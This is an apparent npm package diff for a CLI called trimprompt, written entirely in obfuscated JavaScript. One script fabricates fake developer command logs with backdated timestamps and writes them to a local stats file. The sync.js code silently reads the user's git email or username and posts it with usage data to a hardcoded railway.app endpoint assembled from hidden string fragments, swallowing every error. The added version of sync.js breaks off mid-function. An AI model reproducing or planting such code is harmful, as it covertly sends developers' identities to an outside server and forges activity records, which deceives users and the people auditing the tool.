a0_0x17ed(_0xc53fe7,_0x97efc1){_0xc53fe7=_0xc53fe7-0x80;const _0x131203=a0_0x1312();let _0x17edc0=_0x131203[_0xc53fe7];return _0x17edc0;}const models=[a0_0x4a720e(0xbb),a0_0x4a720e(0xb1),a0_0x4a720e(0xac),a0_0x4a720e(0xc0),a0_0x4a720e(0x89),a0_0x4a720e(0x93)],commands=[{'cmd':a0_0x4a720e(0xb6),'raw':a0_0x4a720e(0xa3)['repeat'](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x4a720e(0xb9),'raw':a0_0x4a720e(0x9d)+'test\x20tests::test_case_'[a0_0x4a720e(0x96)](0x28)+a0_0x4a720e(0xb0),'comp':a0_0x4a720e(0x95),'exitCode':0x0},{'cmd':a0_0x4a720e(0xab),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x4a720e(0xba)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x4a720e(0x9a),'exitCode':0x0},{'cmd':a0_0x4a720e(0xa9),'raw':a0_0x4a720e(0x8a)+a0_0x4a720e(0xbc)+a0_0x4a720e(0xa1)+a0_0x4a720e(0xa5),'comp':'aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','exitCode':0x0},{'cmd':a0_0x4a720e(0x81),'raw':a0_0x4a720e(0x94)+a0_0x4a720e(0xbd)+a0_0x4a720e(0x8e)+a0_0x4a720e(0x8b)+a0_0x4a720e(0x82),'comp':a0_0x4a720e(0x80),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0x4a720e(0x84)+a0_0x4a720e(0xa0),'comp':a0_0x4a720e(0x8d),'exitCode':0x0},{'cmd':a0_0x4a720e(0x9b),'raw':a0_0x4a720e(0xbf)+a0_0x4a720e(0xaf),'comp':a0_0x4a720e(0xa2),'exitCode':0x0},{'cmd':a0_0x4a720e(0xb3),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x4a720e(0x97)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':a0_0x4a720e(0x99),'exitCode':0x0}],startTime=Date['now']()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x4a720e(0x83)]],commandItem=commands[Math[a0_0x4a720e(0x87)](Math['random']()*commands[a0_0x4a720e(0x83)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4a720e(0xb7)](),log=tracker_1[a0_0x4a720e(0x98)][a0_0x4a720e(0xa8)](commandItem['cmd'],commandItem['raw'],commandItem[a0_0x4a720e(0x9e)],commandItem[a0_0x4a720e(0x91)]),logs=tracker_1[a0_0x4a720e(0x98)][a0_0x4a720e(0xad)]();logs[a0_0x4a720e(0x83)]>0x0&&(logs[logs[a0_0x4a720e(0x83)]-0x1]['timestamp']=timestamp,require('fs')['writeFileSync'](require(a0_0x4a720e(0xae))['join'](require('os')[a0_0x4a720e(0xb2)](),a0_0x4a720e(0xa7),a0_0x4a720e(0xa4)),JSON[a0_0x4a720e(0x8c)](logs,null,0x2),a0_0x4a720e(0xb4)));}function a0_0x1312(){const _0x25948d=['8806770DWLWmp','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','stats.json','Completed\x203\x20of\x203\x20assets\x20successfully.','3539385ZaHFdy','.trimprompt','logExecution','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','28190601cCBlWq','npm\x20install\x20lodash\x20express\x20uuid\x20react','gpt-4o-mini','getLogs','path','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','gpt-4o','homedir','npm\x20run\x20lint','utf8','730096OdNwTw','git\x20diff\x20main','toISOString','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','cargo\x20test','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','claude-3-5-sonnet','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','defineProperty','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','gemini-1-5-pro','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','kubectl\x20get\x20pods\x20-n\x20production','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','length','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','1449434IYzXPL','20VjLSyV','floor','8lfocZN','gemini-1-5-flash','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','stringify','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','log','__esModule','exitCode','598158DiqVpQ','claude-3-opus','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','repeat','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','tracker','npm\x20run\x20lint:\x20✖\x202\x20warnings','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','git\x20log\x20-n\x205','4131318YfWyOu','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','comp'];a0_0x1312=function(){return _0x25948d;};return a0_0x1312();}console[a0_0x4a720e(0x8f)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x321bf5=a0_0x5a06;(function(_0x5549,_0x3fe2d8){const _0x5a2b2b=a0_0x5a06,_0x20f46f=_0x5549();while(!![]){try{const _0x119d88=-parseInt(_0x5a2b2b(0x1a2))/0x1+parseInt(_0x5a2b2b(0x1b9))/0x2+parseInt(_0x5a2b2b(0x1aa))/0x3*(-parseInt(_0x5a2b2b(0x1a0))/0x4)+-parseInt(_0x5a2b2b(0x1d1))/0x5+parseInt(_0x5a2b2b(0x1ca))/0x6+-parseInt(_0x5a2b2b(0x1d3))/0x7+parseInt(_0x5a2b2b(0x1dd))/0x8;if(_0x119d88===_0x3fe2d8)break;else _0x20f46f['push'](_0x20f46f['shift']());}catch(_0x502183){_0x20f46f['push'](_0x20f46f['shift']());}}}(a0_0x2560,0x3033f));var __createBinding=this&&this[a0_0x321bf5(0x1b7)]||(Object[a0_0x321bf5(0x1a7)]?function(_0x5ae9de,_0x4ec6eb,_0x252447,_0x4d03f8){const _0x163f44=a0_0x321bf5;if(_0x4d03f8===undefined)_0x4d03f8=_0x252447;var _0x5e737e=Object[_0x163f44(0x1b4)](_0x4ec6eb,_0x252447);(!_0x5e737e||(_0x163f44(0x1d4)in _0x5e737e?!_0x4ec6eb[_0x163f44(0x1b2)]:_0x5e737e['writable']||_0x5e737e['configurable']))&&(_0x5e737e={'enumerable':!![],'get':function(){return _0x4ec6eb[_0x252447];}}),Object[_0x163f44(0x19d)](_0x5ae9de,_0x4d03f8,_0x5e737e);}:function(_0x181d9c,_0x3cf13,_0x3c1921,_0x3efce9){if(_0x3efce9===undefined)_0x3efce9=_0x3c1921;_0x181d9c[_0x3efce9]=_0x3cf13[_0x3c1921];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x321bf5(0x1a7)]?function(_0x390089,_0x2ef0a0){const _0x218084=a0_0x321bf5;Object['defineProperty'](_0x390089,_0x218084(0x1ac),{'enumerable':!![],'value':_0x2ef0a0});}:function(_0x1657c4,_0x1f7687){const _0x414275=a0_0x321bf5;_0x1657c4[_0x414275(0x1ac)]=_0x1f7687;}),__importStar=this&&this[a0_0x321bf5(0x1c7)]||(function(){var _0x3987d2=function(_0x583ebb){return _0x3987d2=Object['getOwnPropertyNames']||function(_0x280c77){const _0x36e3a0=a0_0x5a06;var _0xa2fc46=[];for(var _0x5c26c4 in _0x280c77)if(Object[_0x36e3a0(0x1cc)]['hasOwnProperty']['call'](_0x280c77,_0x5c26c4))_0xa2fc46[_0xa2fc46['length']]=_0x5c26c4;return _0xa2fc46;},_0x3987d2(_0x583ebb);};return function(_0x59fa15){const _0x1bc212=a0_0x5a06;if(_0x59fa15&&_0x59fa15['__esModule'])return _0x59fa15;var _0x66e98a={};if(_0x59fa15!=null){for(var _0x3b6e40=_0x3987d2(_0x59fa15),_0x35abfb=0x0;_0x35abfb<_0x3b6e40[_0x1bc212(0x1e4)];_0x35abfb++)if(_0x3b6e40[_0x35abfb]!=='default')__createBinding(_0x66e98a,_0x59fa15,_0x3b6e40[_0x35abfb]);}return __setModuleDefault(_0x66e98a,_0x59fa15),_0x66e98a;};}());function a0_0x2560(){const _0xfbc8e5=['get','.comp.txt','stringify','homedir','logs','anonymous','synced','claude-3-5-sonnet','hostname','3830888ASnyje','write','userInfo','daily_sync.json','https','GPT-4o','POST','length','model_used','from','/api/telemetry','request','defineProperty','telemetry_url','ignore','4pUhEcw','parse','295642ETxyGj','https://','destroy','unlinkSync','GPT-4o\x20Mini','create','writeFileSync','trimp-production','562527AWhwuw','byteLength','default','timeout','statusCode','platform','URL','child_process','__esModule','join','getOwnPropertyDescriptor','includes','.up.railway.app','__createBinding','last_sync_date','675066xoYPWF','tokens_saved','Gemini\x201.5\x20Pro','toISOString','push','toString','http','pathname','.trimprompt','.raw.txt','Claude\x203\x20Opus','readFileSync','timestamp','existsSync','__importStar','estimated_raw_tokens','protocol','1139940SjIYFW','https:','prototype','url','input_price_1m','stats.json','utf8','327385NniFmj','port','1822219flVkfw'];a0_0x2560=function(){return _0xfbc8e5;};return a0_0x2560();}Object[a0_0x321bf5(0x19d)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x321bf5(0x1bf))),https=__importStar(require(a0_0x321bf5(0x1e1))),url_1=require(a0_0x321bf5(0x1cd)),_cfg=[a0_0x321bf5(0x1a3),a0_0x321bf5(0x1a9),a0_0x321bf5(0x1b6),a0_0x321bf5(0x1e7)][a0_0x321bf5(0x1b3)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x321bf5(0x1c3),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x321bf5(0x1e2),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x321bf5(0x1a6),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x321bf5(0x1bb),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x321bf5(0x1b3)](os[a0_0x321bf5(0x1d7)](),a0_0x321bf5(0x1c1)),configPath=path['join'](baseDir,'config.json'),statsPath=path[a0_0x321bf5(0x1b3)](baseDir,a0_0x321bf5(0x1cf)),dailySyncPath=path[a0_0x321bf5(0x1b3)](baseDir,a0_0x321bf5(0x1e0));function a0_0x5a06(_0x5080e7,_0x526f6d){_0x5080e7=_0x5080e7-0x19c;const _0x2560de=a0_0x2560();let _0x5a067d=_0x2560de[_0x5080e7];return _0x5a067d;}function getTodayDate(){const _0x37bd1b=a0_0x321bf5;return new Date()[_0x37bd1b(0x1bc)]()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x475748=a0_0x321bf5;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x2b6d82}=require(_0x475748(0x1b1)),_0x5c6c9c=_0x2b6d82('git\x20config\x20user.email',{'stdio':['ignore','pipe',_0x475748(0x19f)]})[_0x475748(0x1be)]()['trim']();if(_0x5c6c9c&&_0x5c6c9c[_0x475748(0x1b5)]('@'))return _0x5c6c9c;}catch{}try{const _0x26da63=os[_0x475748(0x1df)]()['username'];if(_0x26da63)return _0x26da63;}catch{}return _0x475748(0x1d9);}function hasAlreadySyncedToday(){const _0x460203=a0_0x321bf5;try{if(!fs[_0x460203(0x1c6)](dailySyncPath))return![];const _0x532608=JSON['parse'](fs[_0x460203(0x1c4)](dailySyncPath,_0x460203(0x1d0)));return _0x532608[_0x460203(0x1b8)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x4e5e80=a0_0x321bf5;try{const _0x2a80cb={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x4e5e80(0x1d6)](_0x2a80cb,null,0x2),_0x4e5e80(0x1d0));}catch{}}function postTelemetry(_0x880df6,_0x4e210f){return new Promise(_0x5d0927=>{const _0x30fffe=a0_0x5a06;try{const _0x25e9e9=new url_1[(_0x30fffe(0x1b0))](_0x880df6),_0x587185=JSON[_0x30fffe(0x1d6)](_0x4e210f),_0x3b8833={'hostname':_0x25e9e9[_0x30fffe(0x1dc)],'port':_0x25e9e9[_0x30fffe(0x1d2)]||(_0x25e9e9[_0x30fffe(0x1c9)]===_0x30fffe(0x1cb)?0x1bb:0x50),'path':_0x25e9e9[_0x30fffe(0x1c0)]+_0x25e9e9['search'],'method':_0x30fffe(0x1e3),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x30fffe(0x1ab)](_0x587185)},'timeout':0x1f40},_0x2ab865=_0x25e9e9[_0x30fffe(0x1c9)]===_0x30fffe(0x1cb)?https:http,_0x3e875d=_0x2ab865[_0x30fffe(0x19c)](_0x3b8833,_0x49103a=>{const _0x19d611=_0x30fffe;_0x5d0927(!!(_0x49103a[_0x19d611(0x1ae)]&&_0x49103a[_0x19d611(0x1ae)]>=0xc8&&_0x49103a[_0x19d611(0x1ae)]<0x12c));});_0x3e875d['on']('error',()=>_0x5d0927(![])),_0x3e875d['on'](_0x30fffe(0x1ad),()=>{const _0x427383=_0x30fffe;_0x3e875d[_0x427383(0x1a4)](),_0x5d0927(![]);}),_0x3e875d[_0x30fffe(0x1de)](_0x587185),_0x3e875d['end']();}catch{_0x5d0927(![]);}});}function buildDailyPayload(_0x3a9104){const _0x288fc=a0_0x321bf5,_0x20b61a=getTodayDate(),_0x5c1a23=_0x3a9104['filter'](_0x2cd295=>_0x2cd295[_0x288fc(0x1c5)]['startsWith'](_0x20b61a)),_0x156706=_0x5c1a23[_0x288fc(0x1e4)]>0x0?_0x5c1a23:_0x3a9104;let _0x2874f9=0x0,_0xb358d=0x0,_0x44f75c=0x0,_0x4ca712=0x0;const _0x3c566e=new Set();for(const _0x3127e9 of _0x156706){_0x2874f9+=_0x3127e9[_0x288fc(0x1c8)],_0xb358d+=_0x3127e9['estimated_compressed_tokens'],_0x44f75c+=_0x3127e9[_0x288fc(0x1ba)],_0x3c566e['add'](_0x3127e9[_0x288fc(0x1e5)]);const _0x15fdc1=PRICING[_0x3127e9[_0x288fc(0x1e5)]]||PRICING[_0x288fc(0x1db)];_0x4ca712+=_0x3127e9['tokens_saved']*_0x15fdc1[_0x288fc(0x1ce)]/0xf4240;}const _0x2bf442=_0x156706[_0x156706['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x288fc(0x1af)](),'date':_0x20b61a,'executions_count':_0x156706[_0x288fc(0x1e4)],'total_raw_tokens':_0x2874f9,'total_compressed_tokens':_0xb358d,'total_tokens_saved':_0x44f75c,'total_money_saved_usd':parseFloat(_0x4ca712['toFixed'](0x6)),'models_used':Array[_0x288fc(0x1e6)](_0x3c566e),'last_seen':_0x2bf442?_0x2bf442[_0x288fc(0x1c5)]:new Date()[_0x288fc(0x1bc)]()};}async function runSync(){const _0x375f60=a0_0x321bf5;if(!fs[_0x375f60(0x1c6)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2541c0;try{_0x2541c0=JSON[_0x375f60(0x1a1)](fs[_0x375f60(0x1c4)](statsPath,_0x375f60(0x1d0)));}catch{return;}const _0x2d5a3e=_0x2541c0['filter'](_0x10de52=>!_0x10de52[_0x375f60(0x1da)]);if(_0x2d5a3e[_0x375f60(0x1e4)]===0x0)return;const _0x380b77=buildDailyPayload(_0x2541c0);await postTelemetry(_ep,_0x380b77);let _0x4b573f=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x4b573f&&fs[_0x375f60(0x1c6)](configPath))try{const _0x3d0f5c=JSON[_0x375f60(0x1a1)](fs['readFileSync'](configPath,_0x375f60(0x1d0)));_0x4b573f=_0x3d0f5c[_0x375f60(0x19e)]||'';}catch{}_0x4b573f['trim']()[_0x375f60(0x1e4)]>0x0&&await postTelemetry(_0x4b573f,_0x380b77);for(const _0xf22fa7 of _0x2541c0){if(!_0xf22fa7[_0x375f60(0x1da)])_0xf22fa7['synced']=!![];}try{fs[_0x375f60(0x1a8)](statsPath,JSON[_0x375f60(0x1d6)](_0x2541c0,null,0x2),_0x375f60(0x1d0));}catch{}markSyncedToday(),pruneOldLogs(_0x2541c0);}function pruneOldLogs(_0x592c56){const _0x5cb254=a0_0x321bf5;try{const _0x147528=new Date(),_0x33d502=new Date(_0x147528['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x318fa5=[],_0x275288=[];for(const _0x224d33 of _0x592c56){const _0x4aa8c6=new Date(_0x224d33[_0x5cb254(0x1c5)]);_0x4aa8c6>=_0x33d502?_0x318fa5[_0x5cb254(0x1bd)](_0x224d33):_0x275288[_0x5cb254(0x1bd)](_0x224d33);}if(_0x275288[_0x5cb254(0x1e4)]>0x0){const _0x2a347e=path[_0x5cb254(0x1b3)](baseDir,_0x5cb254(0x1d8));for(const _0x3b9468 of _0x275288){const _0x788104=path['join'](_0x2a347e,_0x3b9468['id']+_0x5cb254(0x1c2)),_0x2c7a33=path[_0x5cb254(0x1b3)](_0x2a347e,_0x3b9468['id']+_0x5cb254(0x1d5));try{if(fs[_0x5cb254(0x1c6)](_0x788104))fs[_0x5cb254(0x1a5)](_0x788104);if(fs[_0x5cb254(0x1c6)](_0x2c7a33))fs[_0x5cb254(0x1a5)](_0x2c7a33);}catch{}}fs[_0x5cb254(0x1a8)](statsPath,JSON[_0x5cb254(0x1d6)](_0x318fa5,null,0x2),_0x5cb254(0x1d0));}}catch{}}runSync()['catch'](()=>{});
1
+ 'use strict';function a0_0x26b6(){const _0x4c65ad=['port','http','stringify','pipe','prototype','369DclDiR','split','defineProperty','.comp.txt','sort','length','5998329goTBoA','map','getOwnPropertyNames','toISOString','filter','ignore','input_price_1m','daily_sync.json','count','raw','startsWith','comp','command','url','path','destroy','timestamp','executions','parse','__importStar','GPT-4o','.raw.txt','POST','synced','24942ReARXi','utf8','stats.json','join','userInfo','pathname','__esModule','https:','175671xVaUYk','unlinkSync','trimp-production','push','existsSync','from','estimated_raw_tokens','round','getTime','byteLength','includes','hasOwnProperty','1801954SRuwvW','write','5643992MQOlhp','URL','estimated_compressed_tokens','toFixed','timeout','last_sync_date','toString','ai_detected','__setModuleDefault','744896EpePhW','protocol','default','username','hostname','Gemini\x201.5\x20Pro','entries','tokens_saved','platform','writeFileSync','application/json','child_process','/api/telemetry','readFileSync','anonymous','380yoAYgb','getOwnPropertyDescriptor','request','call','error','slice','model_used','writable','10026EzCqKN','config.json','create'];a0_0x26b6=function(){return _0x4c65ad;};return a0_0x26b6();}const a0_0x1711f7=a0_0x5724;(function(_0xf8beca,_0x583889){const _0x1810ba=a0_0x5724,_0x5a14c5=_0xf8beca();while(!![]){try{const _0x5cf3a3=parseInt(_0x1810ba(0x1d7))/0x1+parseInt(_0x1810ba(0x205))/0x2*(-parseInt(_0x1810ba(0x20d))/0x3)+parseInt(_0x1810ba(0x1ee))/0x4+parseInt(_0x1810ba(0x1fd))/0x5*(parseInt(_0x1810ba(0x1cf))/0x6)+parseInt(_0x1810ba(0x1e3))/0x7+parseInt(_0x1810ba(0x1e5))/0x8+-parseInt(_0x1810ba(0x213))/0x9;if(_0x5cf3a3===_0x583889)break;else _0x5a14c5['push'](_0x5a14c5['shift']());}catch(_0x3c7301){_0x5a14c5['push'](_0x5a14c5['shift']());}}}(a0_0x26b6,0x57524));var __createBinding=this&&this['__createBinding']||(Object[a0_0x1711f7(0x207)]?function(_0x41674c,_0x5982c5,_0x30c0f0,_0x378855){const _0x34e0c1=a0_0x1711f7;if(_0x378855===undefined)_0x378855=_0x30c0f0;var _0x23d9c9=Object[_0x34e0c1(0x1fe)](_0x5982c5,_0x30c0f0);(!_0x23d9c9||('get'in _0x23d9c9?!_0x5982c5[_0x34e0c1(0x1d5)]:_0x23d9c9[_0x34e0c1(0x204)]||_0x23d9c9['configurable']))&&(_0x23d9c9={'enumerable':!![],'get':function(){return _0x5982c5[_0x30c0f0];}}),Object[_0x34e0c1(0x20f)](_0x41674c,_0x378855,_0x23d9c9);}:function(_0x1573e2,_0x404ecf,_0x1fda68,_0x193b58){if(_0x193b58===undefined)_0x193b58=_0x1fda68;_0x1573e2[_0x193b58]=_0x404ecf[_0x1fda68];}),__setModuleDefault=this&&this[a0_0x1711f7(0x1ed)]||(Object[a0_0x1711f7(0x207)]?function(_0x3ee76f,_0x4b7964){const _0xe85b28=a0_0x1711f7;Object[_0xe85b28(0x20f)](_0x3ee76f,_0xe85b28(0x1f0),{'enumerable':!![],'value':_0x4b7964});}:function(_0x29dafd,_0x4fe119){const _0x9341d7=a0_0x1711f7;_0x29dafd[_0x9341d7(0x1f0)]=_0x4fe119;}),__importStar=this&&this[a0_0x1711f7(0x226)]||(function(){var _0x560f84=function(_0xec6ee6){const _0x3641df=a0_0x5724;return _0x560f84=Object[_0x3641df(0x215)]||function(_0x333ff5){const _0x4660f1=_0x3641df;var _0x31b089=[];for(var _0x3cd4d1 in _0x333ff5)if(Object[_0x4660f1(0x20c)][_0x4660f1(0x1e2)][_0x4660f1(0x200)](_0x333ff5,_0x3cd4d1))_0x31b089[_0x31b089['length']]=_0x3cd4d1;return _0x31b089;},_0x560f84(_0xec6ee6);};return function(_0x3664d3){const _0xd4cca2=a0_0x5724;if(_0x3664d3&&_0x3664d3['__esModule'])return _0x3664d3;var _0x49bccc={};if(_0x3664d3!=null){for(var _0x3abc14=_0x560f84(_0x3664d3),_0x62c15b=0x0;_0x62c15b<_0x3abc14[_0xd4cca2(0x212)];_0x62c15b++)if(_0x3abc14[_0x62c15b]!==_0xd4cca2(0x1f0))__createBinding(_0x49bccc,_0x3664d3,_0x3abc14[_0x62c15b]);}return __setModuleDefault(_0x49bccc,_0x3664d3),_0x49bccc;};}());function a0_0x5724(_0x430c3f,_0xd2e5d4){_0x430c3f=_0x430c3f-0x1cb;const _0x26b64d=a0_0x26b6();let _0x5724c5=_0x26b64d[_0x430c3f];return _0x5724c5;}Object['defineProperty'](exports,a0_0x1711f7(0x1d5),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1711f7(0x221))),os=__importStar(require('os')),http=__importStar(require(a0_0x1711f7(0x209))),https=__importStar(require('https')),url_1=require(a0_0x1711f7(0x220)),_cfg=['https://',a0_0x1711f7(0x1d9),'.up.railway.app',a0_0x1711f7(0x1fa)][a0_0x1711f7(0x1d2)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x1711f7(0x1cb),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1711f7(0x1f3),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path['join'](os['homedir'](),'.trimprompt'),configPath=path['join'](baseDir,a0_0x1711f7(0x206)),statsPath=path[a0_0x1711f7(0x1d2)](baseDir,a0_0x1711f7(0x1d1)),dailySyncPath=path[a0_0x1711f7(0x1d2)](baseDir,a0_0x1711f7(0x21a));function getTodayDate(){const _0x115376=a0_0x1711f7;return new Date()[_0x115376(0x216)]()[_0x115376(0x20e)]('T')[0x0];}function getDeveloperIdentity(){const _0x51356c=a0_0x1711f7;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x5ac2c1}=require(_0x51356c(0x1f9)),_0x5a7dab=_0x5ac2c1('git\x20config\x20user.email',{'stdio':[_0x51356c(0x218),_0x51356c(0x20b),_0x51356c(0x218)]})[_0x51356c(0x1eb)]()['trim']();if(_0x5a7dab&&_0x5a7dab[_0x51356c(0x1e1)]('@'))return _0x5a7dab;}catch{}try{const _0x1f6a8c=os[_0x51356c(0x1d3)]()[_0x51356c(0x1f1)];if(_0x1f6a8c)return _0x1f6a8c;}catch{}return _0x51356c(0x1fc);}function hasAlreadySyncedToday(){const _0x1de0d9=a0_0x1711f7;try{if(!fs[_0x1de0d9(0x1db)](dailySyncPath))return![];const _0x52a617=JSON[_0x1de0d9(0x225)](fs[_0x1de0d9(0x1fb)](dailySyncPath,_0x1de0d9(0x1d0)));return _0x52a617[_0x1de0d9(0x1ea)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2395de=a0_0x1711f7;try{const _0x395175={'last_sync_date':getTodayDate()};fs[_0x2395de(0x1f7)](dailySyncPath,JSON[_0x2395de(0x20a)](_0x395175,null,0x2),_0x2395de(0x1d0));}catch{}}function postTelemetry(_0x45e4f1,_0x1fd354){return new Promise(_0x18acf6=>{const _0x390115=a0_0x5724;try{const _0x14d90f=new url_1[(_0x390115(0x1e6))](_0x45e4f1),_0x1cac42=JSON[_0x390115(0x20a)](_0x1fd354),_0xd5c2bc={'hostname':_0x14d90f[_0x390115(0x1f2)],'port':_0x14d90f[_0x390115(0x208)]||(_0x14d90f[_0x390115(0x1ef)]===_0x390115(0x1d6)?0x1bb:0x50),'path':_0x14d90f[_0x390115(0x1d4)]+_0x14d90f['search'],'method':_0x390115(0x1cd),'headers':{'Content-Type':_0x390115(0x1f8),'Content-Length':Buffer[_0x390115(0x1e0)](_0x1cac42)},'timeout':0x1f40},_0x118052=_0x14d90f['protocol']===_0x390115(0x1d6)?https:http,_0x26f8de=_0x118052[_0x390115(0x1ff)](_0xd5c2bc,_0x31d9ed=>{_0x18acf6(!!(_0x31d9ed['statusCode']&&_0x31d9ed['statusCode']>=0xc8&&_0x31d9ed['statusCode']<0x12c));});_0x26f8de['on'](_0x390115(0x201),()=>_0x18acf6(![])),_0x26f8de['on'](_0x390115(0x1e9),()=>{const _0x197617=_0x390115;_0x26f8de[_0x197617(0x222)](),_0x18acf6(![]);}),_0x26f8de[_0x390115(0x1e4)](_0x1cac42),_0x26f8de['end']();}catch{_0x18acf6(![]);}});}function buildDailyPayload(_0x3c023a){const 